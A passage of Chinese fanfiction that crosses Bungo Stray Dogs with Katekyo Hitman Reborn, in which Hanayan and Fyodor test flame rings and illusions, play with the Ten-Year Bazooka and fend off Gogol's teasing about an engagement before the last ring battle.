花言目光从那一簇宛如真的点了根火柴的火焰上移开,他看向费奥多尔,发现后者也正望着他,眼眸里满是愉悦。 花言刚想感谢一下对方,脑海的系统突然又开始抽噎。 【比觉悟更炽热,比情绪更深邃的,是爱啊!】 花言:…… 马路牙子,别仗着现在有个“焰”字就开始魔改人家台词啊! 第115章 “看起来成功了呢。” 费奥多尔指尖轻轻抚过那一簇跳动的火焰,感受到的温度不似普通火焰那样会将人灼伤,反馈回来的感觉更像是冬季洒落在冰雪上的暖阳,带着似被浸染包容的温和。 “这是大空属性的火焰?” “嗯,大空属性的火焰特性是调和。” 花言认真观察了一下戒指上的火焰,虽然不算特别纯净,但通体是橘色调的没错。 在现在这个还没有匣兵器的时间段,由戒指点燃的火焰大概只能附着在武器上用,但雾属性的火焰不同。 “费佳,雾属性的火焰特性是构筑,应该能够增幅你的幻术,要试试看吗?” 花言不太了解幻术这方面具体是怎麽操作的,不过幸运的是费奥多尔也不用他过于详细的说明,对方在了解新事物这方面总是有着超乎常人的天赋,也能迅速明白他的想法和意思。 靛色的火焰再次燃起,周围的景象逐渐由清晰变得虚幻,一切似笼罩上了一层朦胧的滤镜,唯有那簇火焰灼灼燃烧,宛如梦境中唯一的灯火。 直到那簇火焰化为靛色的雾气缓缓飘散。 “是这样吗?” 费奥多尔的嗓音在空气中传递,带着不甚明显的笑意。 花言视线观察着周围,没发现哪里有什麽不对,甚至重点关注了一下桌面上他吃了大半的蛋糕,也没发现蛋糕变多或变少。 他收回视线,重新看向站在自己身前的黑发青年,映入眼帘的两道相同身影让他微微一怔。 花言新奇地起身开始打量两个看起来一模一样的费奥多尔,后者也都温和地任由对方研究。 花言没能通过视觉发觉出什麽不对,他拉起两个费奥多尔的手,进一步通过触觉判断,发现无论是感受到的体温,还是指尖被啃咬的细微痕迹都一模一样,连脉搏处都有同等的心跳。 对方居然能够做到这个地步吗? 花言缓缓陷入沉思,经过一番头脑风暴和无限套娃的反转猜测,他还是选择相信自己确实没听见任何脚步声的听觉,以及不知从何而来的直觉。 依照记忆里费奥多尔站着的位置,他伸手指向另一个。 “这个是幻影吗?” 被指着的费奥多尔微微摇头,语气流露出几分遗憾,“您猜错了。” 花言:…… 好吧,超直感确实不是每个人都能有的,也不是每个人都能相信直觉的,比如说他。 “我没有听见你脚步声……也没看见你动,你是什麽时候夺走我知觉的?” “在您看见我点燃火焰之前?” 费奥多尔在把控人心这方面显然十分熟练,“您知道的,我原本幻术能够做到的范围有限,我知道在您有所准备的情况下很难欺骗过您,所以我提前通过幻术遮掩了戒指点燃的火焰……” “我看见的火焰要比你实际点燃火焰的时间晚。”花言得出了结论。 “嗯,正是如此。”费奥多尔唇边挽起一抹弧度,“要再来猜猜看吗?” 花言没有拒绝对方的邀请,“需要我先转过去吗?” “不用,您就这样猜好了。” 花言觉得对方这放水有点放得太明显了,这完全没换位置,甚至都开口说话了,他难道还能认错? 可别把他看扁了啊! 花言在抬起指尖指向对方的那一刻,又忽然意识到不对劲,以费奥多尔的性格真的会出这种一眼就知道答案的题吗?还是对方在跟他玩反心理? 花言眼神犀利起来了。 在一番深思熟虑后还是指向了刚刚开口的那一个,“这个是真的。” 被他指着的费奥多尔表情有些无奈,站在对方身侧的费奥多尔与对方一同开口,告诉了他答案。 “花言,您又猜错了。” 花言:…… “再来一次。” “好。” 伴随着花言每一次手指的抬起,都会得到相同的答案,而费奥多尔的表情也越来越沉默,像是逐渐意识到了什麽重要的问题。 花言不甘心地一连猜了十几次,哪怕更加细致地来回观察两个费奥多尔,也依旧以失败告终。 他挫败地看着两人,怀疑地问道:“你没有在我猜对的时候悄悄骗我吧?” 毕竟他现在没夺回知觉,如果对方骗他,他确实察觉不到。 费奥多尔唇边弧度不变,“您觉得我会骗您吗?” 也是,对方应该不会在这种无关紧要的小事上骗他,所以…… 果然是他不行吗? 当他被看扁,他就会扁扁地离开。 花言扁扁地接受了现实,“费佳,我分不出来。” “这样就要放弃了吗?” 费奥多尔拉住准备坐回座位上吃蛋糕的白发青年,轻轻叹了口气,另一只手搭在对方眼睑下,将对方的注意力从蛋糕上拉回。 “花言,我记得您不是都能分清楚其他幻术师的幻术吗?” “不太一样。”花言思索着该如何跟对方解释,“我了解他们的战斗方式,也了解他们的想法和意图。” “您是说……”费奥多尔缓缓开口,“您了解他们胜过了解我?哪怕我们已经相处了这麽长的时间?” 花言:。 怪事,他怎麽有一种不太妙的感觉。 “我没那个意思。”花言煞有介事地辩解,“只是我第一次看见你用幻术,所以不太了解。” “幻术的施展也是依照幻术师的想法来变换构建的,您理应分得出来才对。” 费奥多尔眉头微蹙,提及了另一个更重要的方面。 “而且,我记得您曾对另一个世界的我说过——哪怕出现完全相同的‘我’,也不会把我们当作一个人,如果您现在连幻象都分辨不出来,那……到时候如果真的出现了完全一样的‘我’,你又真的能够分得清我们,不会把我们当作同一个人吗?” 花言瞳孔地震! 怎麽对方连这句话都知道?! “你当时……真的是凑巧路过吗?” 花言发觉到事情的不对劲,对方这知道的未免有点太多了。 “其实当时我是来找您的,因为您一直没来找我。” 费奥多尔告诉了对方实情,“但我没想到您会刚好与学生的‘我’走在一起,我不是故意想偷听的。” 花言没想到对方会直接承认,是因为已经确认了他们的感情,也知道他会从对方的性格联想到这方面,所以肆无忌惮地演都不演了吗? 他有些欲言又止,难得不知道该说什麽。 花言不知道说什麽,费奥多尔可不会,后者将话题拨回了正轨。 “花言,我已经向您说了实话,该您回答我了。” “我会分清的。” 花言同样正面给予了对方答案,他放手一搏,准备开始赖皮,反手握住对方的手,“我会分清你们,也会分清你的幻术,比如说现在的你就是……” 花言后面的话还没说完,身后忽然传来熟悉的冷冽气息,有一只手划过他的腰间停留在那里,连带着原本垂落在身侧的那只手也被人牵起,进而十指相扣。 “就是什麽?” 身后响起的声音尾音微微上扬,带着一丝轻笑的意味。 花言沉默地看着眼前的费奥多尔,后者脸上也同样带着笑意,只不过此刻这份笑意比平时的要淡一些。 视野里的费奥多尔微微歪头,乌木般的漆黑碎发从耳后滑落到了脸侧,“您怎麽不说了?” “我现在撤回那句让你试幻术的话,还来得及吗?” 花言一点点松开反握住身前费奥多尔的手,想要假装什麽都没发生,但可惜失败了,费奥多尔察觉到对方松开的指尖,及时重新握住,轻柔又不容置疑地扣在对方指间。 “您说您能分清的。”费奥多尔有些苦恼,像是拿对方没办法,“要不然,您试试从我这里重新夺回您的知觉?” 花言觉得对方顺序反了,他应该先要看破对方这次幻术,抓住间隙才能夺回知觉。 同样的嗓音自身后响起,身后的费奥多尔似乎贴的很近,近到花言能够感受到对方洒落在耳畔的温热气息。 “又或者……您依照我平时的习惯与对我的了解,分辨出哪个是幻术?” 原本花言认为先拉住他的那个肯定是真的费奥多尔,但现在他不确定了,在知觉被夺走的情况下,一切都充斥着虚幻感。 花言半晌没有出声,思绪在飞速运转。 如果换做敌人,他现在就两个肘击过去,用对方意料之外的举动,让对方露出破绽从而夺回知觉了,但现在他显然不能肘费奥多尔。 仅用被欺骗了的知觉主动去判断,他很难判断出真相。 所以…… “我蛋糕上的奶油是动物奶油,在这种温度下会很快凝固的。” 花言目光越过费奥多尔看向了桌面上还剩一半的蛋糕。 “要不然……等我先吃完再继续吧?” 费奥多尔:…… 费奥多尔没想到对方苦思冥想了半天会说出这样一句话。 他微笑着拒绝,“您判断的快一点就不会凝固了。” 花言再次沉默了下去。 费奥多尔也没有催促对方,只不过一直等待太过无聊。 他注意力逐渐偏移。 说起来…… 以对方三餐不落,还吃下午茶和夜宵,甚至时不时加点零食打发时间的作风,这麽长时间没有明显的变胖也很不可思议。 对方在大部分时间下摄入的都是高热量的甜食,吃的也很多,却一点都看不出来。 费奥多尔搭在对方腰际的手若有所思地往前移了一点,摸上了那片平坦的小腹,这个举动似乎打断了怀中青年的思绪,后者本能轻颤了一下。 下一秒抗议的声音响起。 “费佳,你打断我思考了。” “抱歉,花言。”费奥多尔从善如流地表达了自己的歉意,解释道:“我只是有个问题很在意,您到底是怎麽做到吃那麽多东西,还没有明显变化的?” 费奥多尔对于这一点确实不太明白。 哪怕是那种狂吃不胖的体质也经不住这种频率,那难道是跟对方本身的特性有关?还是对方其实胖了,但不太明显? 花言感受到原本停留在小腹处的手像是在验证什麽似的,指腹上移在他肚子那一片压过。 明明他与对方的手隔着一层衣物,但花言却有种对方没有间隔地粘贴了那片地方的错觉。 难道这种错觉会发生也是因为对方夺走了他的感知? 幻术是给对方这麽用的吗?! 花言思绪完全被打乱,有点想谴责一下费奥多尔。 但在意识到对方摸索到腰间、像是想要看看能不能捏起一点肉得出具体答案,手指开始用力的时候,他瞳孔微缩。 “别……” 花言下意识想要伸手阻拦对方继续下去,但他忘记了现在他两只手都被对方扣住,根本空不出手。 而这声阻拦显然也没能制止对方。 “唔!” 反馈上神经的刺激让他没能压住嗓子里的单音,也让他下意识想要弯腰躲开对方的触碰。 但这样一来就相当于是把头埋在了身前费奥多尔的肩上,后者也相当纵容地将捧着他脸的手放在了颈后,似安抚一般,没有了进一步动作。 花言轻轻喘着气,回头看向那个想要捏他软肉的罪魁祸首。 “费佳……你……” 花言腰间没有赘肉,费奥多尔也没能捏到软肉,他指尖搭在对方腰间没有再试图去捏。 费奥多尔知道对方已经看出——是他选择性忽略了对方的阻拦,趁对方没办法反抗,借机满足自己好奇心的事实。 “抱歉,花言。” “不用道歉……” 花言呼吸频率渐渐平稳,唇边控制不住地扬起笑容,“你是真的,对吧?” 费奥多尔微愣,旋即很快反应过来了什麽,没能忍住笑了一声,“原来您也是故意的。” 对方大概率已经从平时跟他的相处里看出他对这一点产生了好奇的事实,也知道幻术的破绽除了从认知中找到,就只能从施术者身上得到,所以才会故意用蛋糕转移话题,让他在干枯乏味的等待中重新拾起存在已久的好奇心。 同样的,对方也很清楚以他的性格,以他阴暗一面中的强烈占有欲,不会让对方因其他人而露出那种反应,哪怕是他自己创造出的幻象也一样。 花言凭借着平时跟他相处的时光,以及对他的了解,从他手中夺回了知觉。 周围的幻术消散,属于黄昏的赤纱自窗口往里房间内洒落。 “其实我没想到你真的会那麽做。” 花言还以为对方会意识到这一点,毕竟这个有点太浅显了。 “我也没想到您会这麽做。”费奥多尔承认了自己的疏忽,眼眸中充盈着笑意,“让我稍稍有点惊讶。” “因为我确实在乎我的奶油。” 花言重获自由第一件事就是坐回桌边,发现奶油没有凝固的时候松了口气。这个蛋糕的奶油吃到嘴里很轻绵,这也意味着它很容易顺着时间流逝改变口感。 他吃了一口蛋糕,不知怎麽又想起费奥多尔刚刚的好奇心,也想到了一个绝妙的点子。 既然现在对方的幻术如此真实,那…… 花言转头看向已经坐回计算机前的费奥多尔,跃跃欲试地问道:“费佳,你能用幻术帮我把蛋糕变成没吃过的样子吗?” 费奥多尔:…… “我想起来,刚刚我们似乎只试了虚实这方面,其他幻术师都有自己的攻击方式,花言,您愿意陪我尝试一下吗?” 花言当即假装没听见把视线转移回蛋糕上,似乎是认为这样有点太欲盖弥彰,他又看向窗外,若无其事地转移了话题,“好像快到晚上集合时间了。” 窗外的黄昏逐渐变得昏暗,似而非似的虚幻感再次笼罩。 “没关系,距离集合时间还有两个小时。” 费奥多尔优雅的嗓音从容不迫地响起。 “花言,您真的不愿意陪我尝试一下吗?等我熟悉幻术后,说不准真的能帮您把蛋糕变成没吃过的样子,也能够让您得到跟吃了真实蛋糕一样的感受呢。” 花言现在不在乎这个了。 相比之下,他更在意对方为什麽总在他身上测试幻术,这对吗? 第116章 不同于横滨夜晚由于安全因素而导致的寂静,并盛町的夜晚更多是人迹稀少与自然结合出的宁静。 临近冬季的夜晚听不见虫鸣,灰白的路灯忽明忽暗,冷色调的灯光呈现出浮游在地面上方的浅浅寒雾。 空旷的路口回荡起鞋底与地面相触发出的清脆声响,白与黑两种极端颜色的衣摆被冷冽夜风卷起,在半空中相触,簌簌作响。 花言低头看着手腕上像是被什麽缠绕而留下的淡淡红痕,深刻反思着自己怎麽能被费奥多尔说动——答应陪对方尝试呢? 他反制幻术的手段都太暴力,在不想弄伤对方的情况下只会陷入被动。 更重要的……费奥多尔尝试的真的是正经幻术攻击方式吗? 花言十分怀疑对方这是不是在故意报复他用钓鱼执法的手段识破对方幻术。 费奥多尔注意到身侧青年一直在低头看手腕上的痕迹,像是对此十分在意。 “花言……?” 他轻轻喊了一声对方的名字,唤回对方的注意力,语气满怀歉意。 “是我弄疼您了吗?” “没有。”花言有些不适地微微提了一下衣领,仿佛皮肤上还残留着那种束缚感,“我只是在想这些痕迹什麽时候能够消失。” 虽然对方极有分寸地没有在不能被衣物遮挡的地方留下痕迹,但一会儿他还要跟“瓦利亚”大战一场,把失去的都夺回来。 要是到时候出什麽意外——比如说被里包恩给沢田纲吉的死气弹击中了,又比如说因为是最后一轮,所以大家都拿出了压箱底的活,打的很激烈——导致他衣物出现了破损…… 花言光是想想那种情况就有点头皮发麻,为了不让其他人认为他们玩的很变态,到那时候只能先发制人牺牲玛蒙了。 “说不准您睡一觉醒来就能消失了。” 费奥多尔指尖轻轻擦过对方手腕深处的红痕,那点痕迹很浅,比上次对方不慎被偷袭没能反应过来而留下的勒痕要浅上许多,放在白皙的皮肤上仅泛着淡淡的粉。 依照上次消失的时间来推算,费奥多尔说的也许是真话,但花言还是觉得对方像是在拿他上次拒绝对方涂药的话术来堵他。 花言放弃了思考,跟对方玩这方面有点太费脑了,不如直白询问。 “费佳,你是故意的吗?” 费奥多尔无辜回望,“我以为这是幻术师中最普遍的攻击方式。” 花言:…… 这普遍吗? 似乎是看出了花言脸上深深的质疑,费奥多尔解释道:“因为“瓦利亚”的幻术师也经常用触手勒住敌人。” “这只是个例……”花言觉得以对方的性格应该能够明白这一点,“不是每个幻术师都会用触手勒人的。” “唔……之前在混战里,那个深蓝色头发的少女变成了少年,那个少年也用了类似于触手一样的荷花花藤。”费奥多尔又举出了一个例子,认真地分析,“虽然我确实没有接触过太多幻术师,但如果参加指环争夺战的两名幻术师都有这种攻击方式,那不是证明这种方式好用也普遍吗?” ……这个解释很权威了。 花言找不出任何反驳的角度。 他有些不甘心地试图从其他方面指责,“可你最后还是没有帮我把蛋糕变完整。” “关于这一点……”费奥多尔思索了一会儿,提出了补偿,“等结束了,我给您买怎麽样?” 好像也不是不行…… 花言勉强原谅了对方,接受了这个提议。 并盛中学的轮廓隐隐在前方浮现,伴随着距离的靠近,属于另一方的杂乱脚步声也逐渐放大,与之同时传入耳畔的,还有一些零碎的对话声,像是在抱怨、也像是在担忧。 “完蛋了……根本凑不齐,啊……真是的,这些天光是应付那些人的袭击就足够麻烦了,根本没有时间去弄到钱嘛!也不知道他能不能接受这种补偿方式……” “别担心,十代目!往好处想想,他那麽多天没出现,说不准已经忘记了呢!” “是啊,阿纲,到时候我们只要小心别在他面前提起这件事就好了,一会还不知道会发生什麽,到时候他肯定也没空再追究这个。” “唉……要是真的那样就好了。” 花言听着这几道熟悉的声音,唇边勾起一抹弧度,他加快了脚步走近,故意喊住中间那个垂头丧气的褐发少年。 “沢田纲吉。” 被喊了名字的少年如同被电了一下,瞬间直起背脊看向声音来源。 昏暗的路口缓缓走出一道雪白的身影,熟悉的纯白斗篷与白色长发,还有那副一直戴在眼前的奇怪墨镜。 ——赫然是他们刚刚的讨论对象! 沢田纲吉产生了一种说别人坏话被抓包的心虚感,他挠了挠后脑勺,干笑了两声。 “哈哈……好巧啊……” “是很巧,你的赔偿准备得怎麽样了?”花言假装没听见这几人对话,提醒道:“今晚是指环争夺战的最后一晚了哦。” “呃……”沢田纲吉视线在半空中游移,吞吞吐吐地回答,“只凑齐了一小部分。” “一小部分啊……” 花言拖拽着音调,摆出了一副苦恼的表情。 沢田纲吉对此也有些不知道该怎麽办,说出了备用方案,“那、那个,如果你不介意,我给你买齐了那五样甜品,虽然不是在景点买的,但是味道应该都一样。” 沢田纲吉说着想从手提袋里拿出给对方买的甜品,但在手伸出来时,他却发现手里抓着一个爆炸头小孩。 “啊!蓝波!” 沢田纲吉突然有一种不好的预感,他打开手提袋往里看,果不其然,里面原本整整齐齐放着的五样甜品此刻已经被拆开了一个。 被沢田纲吉抓在手里的蓝波嘴角还沾着奶油,完全没意识到自己给对方造成了多大打击,还在得意洋洋地哼笑,“被我发现了吧,阿纲居然吃独食!” “你这头蠢牛!” 狱寺隼人忍无可忍地夺过沢田纲吉手里的蓝波,一边指责对方,一边出手教训。 “你以为十代目是为谁的事情烦恼啊!平时总是乱跑容易被袭击就算了,现在居然还敢给十代目添麻烦!” 蓝波一时不察被狱寺隼人锤了一拳,他当即发出痛呼,紧接着含着眼泪暴起,一个扑脸,跟狱寺隼人打成一团。 沢田纲吉欲哭无泪地看向花言,“那个……四样可以吗?” 花言仍旧摆着一副沉思的表情没有动,仅一味地复读,“四样啊……” “呃、我这里还有点钱,虽然只有五千日元……”沢田纲吉手伸进口袋,掏出了皱巴巴的几张纸币和零零碎碎的硬币。 看起来有点可怜,让花言想到了在商业街当一下午流浪汉才收获了一百日元的自己。 他没有再捉弄对方,怜爱地叹了口气,“算了,钱你自己留着吧,甜品我就收下了。” “真的吗?那太好了!” 沢田纲吉高兴地扬起了笑容,手提袋在即将交到对方手中的那一刻,只听蓝波发出一声尖锐的哭喊,像是在这场斗争中败下阵来。 “笨蛋狱寺!” 话音还未完全落下,一颗不知从何而来的炮弹骤然在眼前炸开,熟悉的烟雾弥漫,让沢田纲吉的笑容僵在脸上,也让狱寺隼人躲过蓝波攻击、刚想反击的拳头停留在半空中,他们呆滞地看着这一幕。 这突如其来的变故让所有人都始料未及。 “十年火箭炮!” 沢田纲吉瞳孔地震! 还有什麽比还不上钱更尴尬的事情吗? 有,在跟对方好不容易达成共识的时候用炮弹打对方。 沢田纲吉绝望之下,手足无措地不知道是该先看对方的状态,还是该先让那两人别闹了。 “花言?!” 原本被花言甩下、停留在原地看对方捉弄沢田纲吉的费奥多尔见状跑上前,在烟雾中触碰到实体没有粘腻感,整个过程也没有听见对方因疼痛而发出声音,他微微松了口气,对方应该没有受伤。 烟雾逐渐被夜风刮去,空气中响起几声轻咳。 花言挥开在自己面前的烟雾,看清眼前的情况后,他略有些失望。 他还以为能去到十年后呢,没想到十年火箭炮居然对他没作用。 是因为他是支撑现在世界融合的基点吗?跟无法召唤其他平行世界角色的原理类似,处于一种被锁定的状态? 花言看向费奥多尔,安抚道:“我没事。” 旋即他重新看向沢田纲吉,在刚想开口让对方把甜品交给自己时,又忽然想起了什麽,转头低声在费奥多尔耳边说道。 “费佳,十年火箭炮可以让人跟十年后的自己互换,只不过不一定是这个世界的十年后,时间也只有五分钟,你要试试吗?” 费奥多尔沉吟了片刻,微微摇头。 花言有些诧异,“费佳,这个世界是我接触的世界中,时间线最快的世界了哦。” “嗯,我知道。” 费奥多尔知道对方想提醒他什麽,也知道对方在为他思虑什麽。 但是没有那个必要。 每个世界的情况不尽相同,其他平行世界十年后的他所用的方式未必适合这个世界,他也不需要通过窥探未来的方式达成理想,其他平行世界十年后的他能做到的,他自然也能。 更何况,不可能会有跟现在一模一样的世界,花言是所有世界中唯一的存在,对方所处的世界就是“原点”,也是所有同力量体系中时间线最快的世界。 因此,哪怕用十年火箭炮得到的结果也无非两种,一种是他去往与这个世界的世界观截然不同的十年后,另一种是无事发生——这个世界的未来相当于树木在生长中还未长出的树干,自然无法被窥探。 费奥多尔指尖抚平对方微微蹙起的眉头,纵容地说道:“如果您希望的话,我可以试试。” 花言原本在想对方怎麽会知道这个世界是他接触的世界中时间线最快的世界,听见这句话他回过神应了一声。 视线移到正疑惑地来回看着他们,像是不明白为什麽一个炮弹之后他们会开始说起悄悄话的褐发少年身上。 “我们刚刚讨论了一下,甜品你可以给蓝波吃——他看起来也挺想吃的,不过在这之前,你需要让蓝波用十年火箭炮也打一下他。” 花言指了指费奥多尔,又指了指惨遭狱寺隼人重锤的蓝波,示意沢田纲吉去说服后者。 沢田纲吉从来没听过这种要求,他迟疑地走向跟狱寺隼人掐在一起的蓝波,“蓝波……” 沢田纲吉的话还没说完,蓝波先迫不及待地举起了十年火箭炮,显然也已经听到了花言的话。 他故作苦恼地抬起头,只是语气中的得意怎麽都掩藏不住,“啊啦啦,真是没办法,既然阿纲没办法处理这件事,那就让蓝波大人替你摆平吧!” 这句话听的狱寺隼人拳头又硬了,但看在还需要对方先发射炮弹的份上,他忍了下来。 “碰!” 蓝紫色的炮弹自炮口发出,花言往后退了一步,以免会打在自己身上。 熟悉的烟雾再次弥漫,当随着夜风散去时,站着原地的依旧是那道裹挟着些许病气的孱弱身影。 花言试探地喊了一声,“费奥多尔?” “嗯,是我。”费奥多尔对这个结果毫不意外,“看起来好像没用呢。” 花言沉默地回过头看向那几人,蓝波对这个结果也十分不解。 “坏了吗?” 似乎是为了测试,蓝波钻进了炮筒里拉动了开关,下一秒烟雾弥漫,一道穿着斑点衬衣的黑发少年端着泡面出现在原地。 “又来了啊……”十年后的蓝波习以为常地继续吃着泡面。 看起来没坏。 花言收回视线,得出了结论。 原来是其他世界的炮不能轰这个世界的人。 毕竟现在这个世界是他强行融合的,有没有完全融合的地方也很正常。 第117章 既然十年火箭炮没坏,沢田纲吉他们也按照花言说的那样打了一发炮弹,赔偿自然已经一笔勾销。 无债一身轻的沢田纲吉走向并盛中学的脚步轻盈了不少,站在山本武肩上旁观了全程的的里包恩见状冷不丁提醒。 “别以为没事了,还不知道接下来指环争夺战要用什麽方式进行呢。” 一句话将沢田纲吉重新打回现实,他脚步再次沉重。 “这种事情不要提醒我啊!里包恩!” 里包恩没有回答对方,他视线不着痕迹地再次打量着那个拿着第三枚大空指环的白发青年。 后者正一心二用地一边跟着费奥多尔去并盛中学集合,一边在脑海里吐槽系统。 [怎麽在用了“书页”的情况下,还会出现bug啊,马路牙子,你这个自动生成真的靠谱吗?] 系统对这个问题也百思不得其解。 按理来说能量是够的,它抽取之后都还有多呢,不可能会出现什麽bug…… 它来回筛选排查了一遍,试图去数据库中找到案例,好比对分析问题究竟出在哪里,但一通折腾下来除了险些把它CPU烧坏之外,什麽都没找到。 系统面对一片空白的筛选结果陷入了沉思,旋即大彻大悟。 【我知道了!宿主!这肯定是有意设置的界限!为的是不让两个世界彻底混在一起——方便结束时分开!】 花言:? 别把世界融合这种事情说的跟混橡皮泥一样接地气啊! 而且更重要的是,费奥多尔不知道为什麽对这种情况理所当然,像是掌握了什麽他不知道的情报。 难道这也是长生者的优势吗?知道的东西都比他多,仿佛见过这种场面。 种种因素之下,花言十分怀疑系统的结论。 [真的是这样吗……?] 【是的,毕竟我们也是第一次尝试这麽做,不知道会遇见什麽样的情况,况且,我们也没有受到任何阻拦和驱逐,这说明这个世界肯定做好反制手段了!】 系统言之凿凿,一通分析。 【它肯定会留后手,比如说加入一点bug,这样一来,就算我们不结束这个副本,它也能通过让其他人注意到bug的方式,进而让其他人产生怀疑,最终达到结束世界融合的目的!】 这个解释好像有点道理。 花言暂且按捺下了怀疑,将注意力聚集在即将到来的指环争夺战中。 上次混战残留在操场上的坑洞已经被填平,连带着破坏的设施也都被修复,一片平坦完整的模样完全看不出之前满目疮痍的惨状。 雪白明亮的探照灯一如既往地从教学楼顶端向这边投射,照亮了一处开阔的空间,也照亮了如上次一样呈三足鼎立之势的各方站位。 花言两人与沢田纲吉几人一前一后地抵达,后者在看见同伴时迅速汇聚,而花言有了前车之鉴,这一次他视线先一步检查太宰治几人有没有戴墨镜,在发现那些人都表现得十分正常时,他才慢吞吞地挪了过去。 只是这些天一直在找两人的果戈里显然没有再等对方慢慢走过来的耐心,他双手揪着斗篷迫不及待地冲了过来。 花言势必不可能在一个地方摔倒两次,他早有准备地伸手阻止了对方靠近。 果戈里被推开也毫不在意,他嗓音仍旧热情。 “花言、陀思君,我终于见到你们了——!作为久别重逢的开场白,先来一个交互环节吧!飞刀表演怎麽样?开玩笑的~那麽——提问!我为什麽会说‘终于见到你们了’呢?没错哦,其实这些天我一直在找你们~!” “但是很可惜都没能找到,反而还总是被人追着抢戒指,要守好这个可很困难呢……” 果戈里说到这里表情变得有些失落,不过这份失落在再次开口时又变成了满是期待的好奇,“所以,所——以——!花言,你能不能告诉我,你们这些天究竟躲在哪里了?明明并盛町只有这麽一点点大,但是我跑遍了都没找到你们——” 暂且不提以果戈里的灵活程度,在不想战斗时有谁能阻拦。光是对方用这种跑图方式找他们就很有槽点。 花言言简意赅地提醒,“你有想过你挚友‘雾守’的头衔吗?” 即使费奥多尔在幻术这方面不如其他两名幻术师熟练,但好歹也是雾守,“虚幻的幻影”怎麽可能会如此轻易地被人找到。 果戈里愣住,“唉?” 花言想了想,又补充道:“当然,你也可能纯粹是运气不好,毕竟我之前经常外出,甚至还被“瓦利亚”堵路口了。” 果戈里受到的打击更大了,“哇呜……怎麽这样,这岂不是显得我被孤立了吗——?!” “往好处想想。”费奥多尔恰到好处地安慰,“您可是‘云守’,使命是成为不受任何束缚,独自守护家族的孤高浮云,所以应该是您孤立我们所有人。” 果戈里完全没有被安慰到,费奥多尔落井下石一直有一手的,还没办法让人能够理直气壮地指责。 花言听见费奥多尔这句话,再配上现在这种情况,不知怎麽听出了另一层意思——为了以防果戈里孤立他们,所以他们要先孤立果戈里。 果戈里注意到花言微微弯起的唇角,宛如抓住了什麽证据,他怀疑地贴近了对方,“花言?你在偷偷笑吗——?” 花言及时收敛了笑意,若无其事地看向一边。 然而这根本不足以打消果戈里的注意,更别提他怀疑这两人很久了,花言跟他说——想要从费奥多尔身上得到比生命还宝贵的东西,而费奥多尔一直一反常态地接近花言,也像是想要从后者身上得到什麽的样子。 他这些天近乎把除了费奥多尔和花言以外的其他人都遇到了个遍,他们这一边的其他人都说没看见过花言与费奥多尔,因此这两人这些天应该是在一起的。 果戈里不太相信在这些天里花言和费奥多尔之间什麽都没发生,但是这两人现在相处的反应也跟平时没什麽差别…… 果戈里疑惑地来回观察着两人,没从脸上的神色中看出什麽不对劲,他视线逐渐往下,直到从黑色斗篷的间隙里窥见一抹熟悉的华丽色彩。 果戈里骤然陷入了沉思,他似确认般努力回忆了一下花言的瞳色,又回忆了一下刚刚花言伸手阻拦他时——中指指根处所佩戴的戒指,再考虑到在这根手指上佩戴对戒的特殊含义。 果戈里脸上用于伪装的笑容罕见地消失,缓缓变得凝重。 他忽然想到,在欧洲某些浪漫至死不渝的国家中,确实有一样东西比生命更为宝贵,而这种夸大了的浪漫表述放在费奥多尔身上也确实能够完美体现——得到对方的爱,要比杀了对方要更加困难。 费奥多尔理智到极致的作风近乎让所有人都认为对方这种人不可能存在真实感情,因此如果费奥多尔真的跟花言订婚了,他反倒觉得极有可能是费奥多尔察觉到了花言的意图,并利用这一点想要在花言身上得到什麽。 但是……如果仔细回忆他在接触花言时对方的反应——费奥多尔那种隐藏在正常反应之下的、细微的、像是占有欲一样的阻拦意味,又不像是对花言仅抱有利用的想法,更像是也付出了情感…… 这种猜测有点太过离谱,离谱到哪怕是他也觉得荒诞。 荒诞之后,果戈里逐渐意识到了这种发展的有趣之处。 他看热闹不嫌事大地询问:“花言,你们是订婚了吗?” 花言:? 这语出惊人的一句话不仅硬控了花言,同样也硬控了在场看似毫不在意实则在暗中偷听的其他人。 还是中学生的沢田纲吉一方大脑原地宕机,感受到了来自于成年人的开放。太宰治几人眼眸陡然睁大,产生了一股匪夷所思的恐怖震撼。而在追击花言时,见过对方召唤雾守的“瓦利亚”则露出了恍然大悟的表情。 斯库瓦罗有点好奇对方能够做到这一点的原理,他朝花言喊道:“voi!你之前会……” 后面的话还没说完,XANXUS一枪托砸在对方脑袋上,不耐烦地呵斥。 “吵死了!” “别打头啊!” 斯库瓦罗气得当即回怼自家暴躁首领,也没空再去弄清楚这点小事。 原本已经做好打断斯库瓦罗话语的花言不动声色地抹消了掩藏在斗篷下手中的金色小方块,他目光回到果戈里身上,露出了一个和善的笑容。 “果戈里,你再凭空污人清白试试?之前瞒着我说我坏话就算了,现在接二连三的污蔑我,如果你再这样……” 花言拉长了音调,和善的笑容瞬间冷却,面无表情地恐吓,“我就吊死在你家门口。” 以为把对方弄生气了要开始动手而暗中防备的果戈里:…… 以为对方要准确扼住果戈里命脉威胁的费奥多尔:…… 还真是毫无威慑力的威胁呢。 “真的没有吗?” 果戈里怀疑地试图想要从花言脸上发现一点破绽,但无论怎麽看都只有冷漠和被污蔑了的生气。 “果戈里。”花言冷笑一声,“等我查到你家地址你就完了。” 好吧,这两人确实没订婚,由于今晚是指环争夺战的最后一晚,也许对方的戒指有什麽特殊作用,比如说增强能力之类的,就像是那个小婴儿在每次战斗前给那个褐发少年打出的子弹一样。 果戈里遗憾地叹了口气,他还以为能看见那种有趣的发展呢。 不过这并不影响他继续发挥,“可是可是,你和陀思君都戴戒指了——” “我给你们六个人都送戒指了,我难道同时跟你们六个人订婚了吗?” 花言说着指向一旁看热闹的“瓦利亚”和沢田纲吉众人,“XANXUS和沢田纲吉也给其他人戒指了,难道他们也同时跟六个人订婚了?” 被指着的“瓦利亚”和沢田纲吉众人纷纷下意识后退,只有XANXUS撑着脸颊坐在椅子上仍旧岿然不动。 第118章 一片寂静无声中只余夜风吹拂过树梢发出的沙沙声响。 无论是“瓦利亚”几人还是沢田纲吉众人都不知怎麽突然间觉得哪哪都不对劲了起来,站在远处阴影下的云雀恭弥面无表情地从口袋里掏出指环,一旁的迪诺早有预料地上前阻拦,并再一次搬出了“如果现在丢了指环就不能跟其他人再打一场了”之类的话术进行拖延。 “让各位久等了。” 清亮的女声打碎了诡异的寂静氛围,两道黑皮粉发身影从教学楼二楼处跃下,巧合的让花言不禁回忆起这两人每次出现的时机卡得似乎都很好,简直像是一直在暗中观察,直到觉得时机合适了才出来一样。 切尔贝洛机关两人一左一右站立,靠左边那人手中拿着一个像是记录本一样的东西。 